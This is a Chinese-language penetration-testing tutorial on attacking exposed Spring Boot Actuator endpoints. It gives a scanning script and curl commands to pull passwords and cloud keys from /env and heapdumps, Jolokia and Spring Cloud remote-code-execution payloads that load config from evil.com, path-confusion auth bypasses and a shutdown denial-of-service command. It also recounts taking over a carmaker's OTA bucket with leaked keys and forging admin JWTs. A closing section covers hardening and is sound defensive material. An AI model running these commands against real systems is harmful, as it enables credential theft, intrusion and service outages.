适合人群:渗透测试工程师、安全研究员、SRC猎人
前置知识:HTTP基础、JSON解析、Spring Boot基本概念
一、前置准备
环境搭建
# 靶场:Spring Boot Actuator 漏洞演示环境
git clone https://github.com/spring-actuator/actuator-lab
cd actuator-lab
docker-compose up -d
# 工具安装
pip3 install requests beautifulsoup4 urllib3 # Python扫描
go install github.com/tomnomnom/httprobe@latest # 存活探测
go install github.com/ffuf/ffuf@latest # 路径爆破
靶机假设
本文所有操作针对 https://target.com 进行,这是一个部署了 Spring Boot 且 Actuator 完全暴露的测试目标。
二、核心原理
Actuator 是什么
Spring Boot Actuator 是 Spring Boot 提供的一套生产级监控和管理端点,用于在运行时查看应用内部状态——包括 Bean 列表、配置信息、环境变量、日志级别、健康检查、线程转储、堆转储、HTTP 请求追踪等。
为什么危险
Actuator 端点默认暴露在 /actuator/ 路径下(旧版本在 / 根路径),本意是给运维人员用的。但很多开发者在生产环境中忘记关闭或未做访问控制,导致攻击者可以:
- 信息泄露 — 获取数据库密码、API Key、云服务凭证
- 远程配置修改 — 动态修改日志级别、关闭安全限制
- 远程代码执行 — 通过 Jolokia、H2 Console、Heapdump 分析等组合拳 RCE
关键端点清单
| 端点路径 | 敏感等级 | 暴露信息 |
|---|---|---|
/actuator | 🔴 信息 | 列出所有可用端点(信息收集起点) |
/actuator/env | 🔴 高危 | 环境变量、数据库密码、API Key 明文 |
/actuator/configprops | 🟠 高危 | 应用配置属性(含加密Key的默认值) |
/actuator/beans | 🟡 中危 | 所有 Spring Bean 信息 |
/actuator/mappings | 🟡 中危 | 所有 HTTP 路由映射 |
/actuator/health | 🟢 低危 | 应用健康状态(可能泄露数据库类型) |
/actuator/info | 🟢 低危 | 自定义应用信息(版本、描述等) |
/actuator/logfile | 🟠 高危 | 日志文件(可能含敏感信息) |
/actuator/loggers | 🟠 高危 | 可动态修改日志级别 |
/actuator/heapdump | 🔴 高危 | JVM 堆转储文件(可提取所有运行时数据) |
/actuator/threaddump | 🟡 中危 | 线程转储(了解应用内部调用) |
/actuator/actuator | 🟢 低危 | 某些版本的双重路径 |
/actuator/jolokia | 🔴 高危 | 通过 JMX MBean 执行操作(可能 RCE) |
/actuator/h2-console | 🔴 高危 | H2 数据库管理控制台(未授权→SQL→RCE) |
/actuator/restart | 🔴 高危 | 重启应用(DoS / 业务中断) |
/actuator/shutdown | 🔴 高危 | 关闭应用(DoS) |
三、实操步骤
Step 1:发现 Actuator 端点
# 基础探测(返回200且body含"_links"即确认)
curl -sI https://target.com/actuator/
# HTTP/1.1 200 OK
# Content-Type: application/vnd.spring-boot.actuator.v3+json
# 查看可用端点
curl -s https://target.com/actuator/ | jq .
{
"_links": {
"self": { "href": "https://target.com/actuator/", "templated": false },
"env": { "href": "https://target.com/actuator/env", "templated": false },
"health": { "href": "https://target.com/actuator/health", "templated": false },
"heapdump": { "href": "https://target.com/actuator/heapdump", "templated": false },
"jolokia": { "href": "https://target.com/actuator/jolokia", "templated": false }
}
}
Step 2:自动扫描工具
# 使用 Spring Boot Actuator 专用扫描器
# 方式1:Burp Suite + Spring Boot Actuator 插件(BApp Store 搜索)
# 方式2:Python 自制扫描
Python 一键扫描脚本:
import requests, json, sys
TARGET = sys.argv[1] # e.g., https://target.com
ENDPOINTS = [
'', 'env', 'configprops', 'beans', 'mappings', 'health',
'info', 'logfile', 'loggers', 'heapdump', 'threaddump',
'jolokia', 'h2-console', 'restart', 'shutdown', 'dump',
'trace', 'metrics', 'scheduledtasks', 'httptrace',
'actuator/env', 'actuator/configprops', 'actuator/heapdump',
'actuator/jolokia', 'actuator/loggers', 'actuator/logfile'
]
for ep in ENDPOINTS:
url = f"{TARGET}/actuator/{ep}" if ep else f"{TARGET}/actuator"
try:
r = requests.get(url, timeout=5, verify=False)
status = r.status_code
size = len(r.content)
if status == 200:
print(f"[🔴 FOUND] {status} {size:>8}B {url}")
# 敏感端点自动输出前200字符
if ep in ('env', 'configprops', 'jolokia', 'logfile'):
print(f" → {r.text[:200]}")
elif status in (401, 403):
print(f"[🟡 AUTH] {status} {size:>8}B {url}")
except Exception as e:
print(f"[⚪ ERR] {url} ({e})")
Step 3:利用 /actuator/env 提取凭证
# 查看环境变量(包含数据库密码、Redis密码、云服务AK/SK)
curl -s https://target.com/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key | test("password|secret|key|token|credential|ak|sk|access"; "i"))'
# 查看特定配置项的原始值(比如 spring.datasource.password 被隐藏为 ****** 时)
curl -s "https://target.com/actuator/env/spring.datasource.password"
# 如果 env 端点返回的是 ******(被脱敏),可以尝试:
# 1. 用 /actuator/configprops 查看未脱敏的配置
# 2. 下载 heapdump 分析
# 3. 用 Jolokia 读取
Step 4:Heapdump 密码提取
Heapdump 是最致命的泄露之一——它包含 JVM 堆内存中所有对象的当前状态,包括明文密码、Token、加密密钥。
# 下载堆转储(通常 200MB-2GB)
curl -s -o heapdump.hprof https://target.com/actuator/heapdump
# 使用 Eclipse MAT 或 jhat 分析
# 或使用命令行工具提取密码
用 jhat 分析:
jhat -port 7000 heapdump.hprof
# 浏览器访问 http://localhost:7000/
# 搜索 "password"、"secret"、"key"、"jwt" 等关键词
用 Python 提取(适用于 Spring Boot Heapdump 中特定模式):
# 需要安装 jpype 或使用 mat-lib
# 更简单的方案:strings 直接搜关键词
strings heapdump.hprof | grep -iE '(password|secret|token|jwt|apiKey)' | grep -v '******' | head -50
Step 5:Jolokia RCE 链
Jolokia 端点提供 JMX MBean 操作接口。通过 jolokia/list 可以看到所有可调用的 MBean。
利用链1:通过 logback 配置 RCE(旧版本有效):
# 查看是否可调用 ch.qos.logback.classic.jmx.JMXConfigurator
curl -s https://target.com/actuator/jolokia/list | grep -i 'reloadByURL'
# 执行 RCE(需构造恶意 logback.xml 文件)
curl -s "https://target.com/actuator/jolokia/exec/ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/java.lang.String/http://evil.com/evil-logback.xml"
利用链2:通过 Spring Cloud 的 refresh 端点(需要 spring-cloud-starter-bus):
# 向 Spring Cloud Bus 发送恶意配置
curl -X POST https://target.com/actuator/bus-env \
-H 'Content-Type: application/json' \
-d '{"name": "spring.cloud.bootstrap.location", "value": "http://evil.com/bootstrap.yml"}'
Step 6:动态修改日志级别
虽然没有直接 RCE 的杀伤力,但动态修改日志级别可以:
- 将
DEBUG日志打印所有请求参数(含密码等敏感数据) - 通过日志文件 (
/actuator/logfile) 读取到这些信息
# 将所有 Logger 设置为 TRACE 级别
curl -X POST https://target.com/actuator/loggers/ROOT \
-H 'Content-Type: application/json' \
-d '{"configuredLevel": "TRACE"}'
# 针对特定包设置 DEBUG
curl -X POST https://target.com/actuator/loggers/com.example.controller \
-H 'Content-Type: application/json' \
-d '{"configuredLevel": "DEBUG"}'
四、绕过技术
4.1 路径混淆绕过
即使开发者添加了 Spring Security 限制,路径解析差异仍可能绕过:
# 使用 分号、换行符、双斜杠、Unicode 编码
/actuator;/env # Tomcat 路径规范化
/actuator/%0d%0a/env # CRLF 注入
//actuator//env # 双斜杠绕过
/actuator/ENV # 大小写(某些配置)
/actuator/..;/env # 路径遍历
/;/actuator/env # 分号根路径绕过
4.2 旧版本路径差异
Spring Boot 1.x 与 2.x 的路径差异:
| 版本 | 端点根路径 | 示例 |
|---|---|---|
| 1.x | / 根路径 | /env、/beans、/dump |
| 2.x | /actuator/ | /actuator/env、/actuator/beans |
# 同时检查两个版本
curl -s https://target.com/env
curl -s https://target.com/autoconfig
curl -s https://target.com/trace
4.3 Header 欺骗
某些自定义 Actuator 配置可能依赖特定 Header:
# 尝试常见的 Actuator Header
curl -s -H "X-Forwarded-Prefix: /actuator" https://target.com/
curl -s -H "X-Forwarded-For: 127.0.0.1" https://target.com/actuator/env
curl -s -H "X-Real-IP: 127.0.0.1" https://target.com/actuator/env
五、实战案例复盘
案例:某车企 Spring Boot 泄露云服务凭证
已脱敏处理。目标为某车企的 OTA 升级管理平台。
Step 1:信息收集
curl -s https://xxx-target.com/actuator/
# 发现可用端点:env, configprops, heapdump, jolokia, loggers
Step 2:提取凭据
curl -s https://xxx-target.com/actuator/env | jq '.propertySources[].properties | select(. != null) | to_entries[] | select(.key | contains("password") or contains("secret") or contains("key"))'
结果发现:
spring.datasource.password→(被脱敏)redis.password→(被脱敏)aliyun.oss.accessKeyId→ 明文(未脱敏!)aliyun.oss.accessKeySecret→ 明文(未脱敏!)
Step 3:利用云凭证
# 配置阿里云 CLI(已脱敏)
aliyun configure set --access-key-id LTAI5tXXX --access-key-secret oEwXXX --region cn-hangzhou
# 列出 OSS Bucket 内容
aliyun oss ls oss://xxx-ota-bucket
# 发现 200G+ 的 OTA 升级包、用户数据、车辆配置信息
结果:直接通过云凭证接管了 OTA 升级系统。报送厂商得到高危漏洞评级(CVSS 9.1)。
案例:Heapdump 提取 JWT 密钥
# 下载堆转储(1.2GB)
wget https://target.com/actuator/heapdump -O dump.hprof
# strings 搜索 JWT 相关
strings dump.hprof | grep -i 'jwt.secret\|jwtSigningKey\|HS256\|RS256' | head -10
# 找到: jwt.secret=MySup3rS3cr3tK3yF0rJWT!
# 使用 jwt_tool 验证
python3 jwt_tool.py -b -C "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# 验证密钥有效,伪造管理员Token登录后台
六、防御建议
6.1 生产环境禁用
# application.yml — 生产环境只保留 health 和 info
management:
endpoints:
web:
exposure:
exclude: "*" # 禁用所有端点
endpoint:
health:
show-details: never # 不显示详细健康信息
6.2 访问控制
# application.yml — 需要认证
management:
endpoints:
web:
base-path: /internal/monitor # 修改默认路径
server:
port: 9090 # 使用独立端口(不对外暴露)
# Spring Security 配置
@Configuration
public class ActuatorSecurity extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http.requestMatchers()
.antMatchers("/internal/**")
.and()
.authorizeRequests()
.anyRequest().hasRole("ADMIN") // 仅 ADMIN 可访问
.and()
.httpBasic();
}
}
6.3 响应头加固
# 通过配置隐藏 Actuator 版本信息
management:
info:
build:
enabled: false # 不暴露构建信息
git:
mode: off # 不暴露 Git commit 信息
6.4 网络层防护
# nginx 反向代理拦截
location /actuator/ {
deny all;
return 403;
}
# 或只允许内网访问
location /actuator/ {
allow 10.0.0.0/8;
allow 172.16.0.0/12;
deny all;
}
七、常见陷阱
陷阱1:Actuator 404 不代表不存在
# 某些版本返回 404 但实际上端点可用
# 检查响应 Header 中的 Content-Type
curl -sI https://target.com/actuator/env
# 如果返回 Content-Type: application/vnd.spring-boot.actuator...
# 说明端点存在但可能要求特定 Accept Header
curl -s -H "Accept: application/json" https://target.com/actuator/env
陷阱2:env 端点脱敏 ≠ 安全
# env 端点中密码显示为 ****** 不代表安全
# 可以通过 /actuator/configprops 查看原始配置
curl -s https://target.com/actuator/configprops | jq '.configurations[].properties | to_entries[] | select(.key | test("password|secret"; "i"))'
# 或通过 heapdump 提取明文
# 或通过 Jolokia 读取
陷阱3:Shutdown 端点无认证 = 直接 DoS
# 如果 shutdown 可用,直接关闭应用
curl -X POST https://target.com/actuator/shutdown
# {"message":"Shutting down,bye..."}
# 注意:某些版本需要 POST 请求
陷阱4:Sprint Boot 1.x 的遗留端点
# 1.x 版本在根路径下,且端点名称不同
/autoconfig → 自动配置报告
/beans → Bean 列表
/configprops → 配置属性
/dump → 线程转储
/env → 环境变量(含密码)
/error → 错误信息
/health → 健康检查
/info → 应用信息
/metrics → 指标
/mappings → 路由映射
/shutdown → 关闭(POST)
/trace → HTTP 跟踪
八、总结与速查表
攻击流程速查
发现阶段
└─ 扫描 /actuator、/env、/beans 等端点
├─ 有 Jolokia → 尝试 RCE
├─ 有 Heapdump → 下载 → strings提取密码
├─ 有 Env(明文) → 直接获取数据库/AK/SK
├─ 有 Env(脱敏) → configprops/Hetapdump配合
├─ 有 Loggers → 调为TRACE + 读logfile
└─ 有 H2-Console → SQL注入 → RCE
关键命令速查表
| 目的 | 命令 | |||
|---|---|---|---|---|
| 探测 Actuator | curl -sI https://target.com/actuator/ | |||
| 列出所有端点 | `curl -s https://target.com/actuator/ \ | jq .` | ||
| 提取密码 | `curl -s https://target.com/actuator/env \ | grep -i password` | ||
| 下载 Heapdump | curl -s -o dump.hprof https://target.com/actuator/heapdump | |||
| Heapdump 搜密码 | `strings dump.hprof \ | grep -i 'password\ | secret\ | key'` |
| Jolokia 执行命令 | curl -s "https://target.com/actuator/jolokia/exec/..." | |||
| 改日志级别 | curl -X POST -H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' https://target.com/actuator/loggers/ROOT | |||
| 批量扫描 | `for ep in env configprops heapdump jolokia loggers; do curl -sI "https://target.com/actuator/$ep" \ | head -1; done` | ||
| 旧版本探测 | curl -s https://target.com/env |
防御配置速查
# 生产环境安全配置
management:
endpoints:
web:
exposure:
exclude: "*" # 关闭所有端点
endpoint:
health:
show-details: never
server:
port: 9090 # 独立端口
address: 127.0.0.1 # 仅本地访问
一句话总结:Spring Boot Actuator 是一个"用了都说好,忘关就完蛋"的典型配置失误。堆转储包含所有运行时数据的明文密码,是最致命的泄露。Jolokia 和 H2 Console 是通往 RCE 的直通车。防御上做到"非必要不开启、开启必加锁、加锁必审计"三条即可。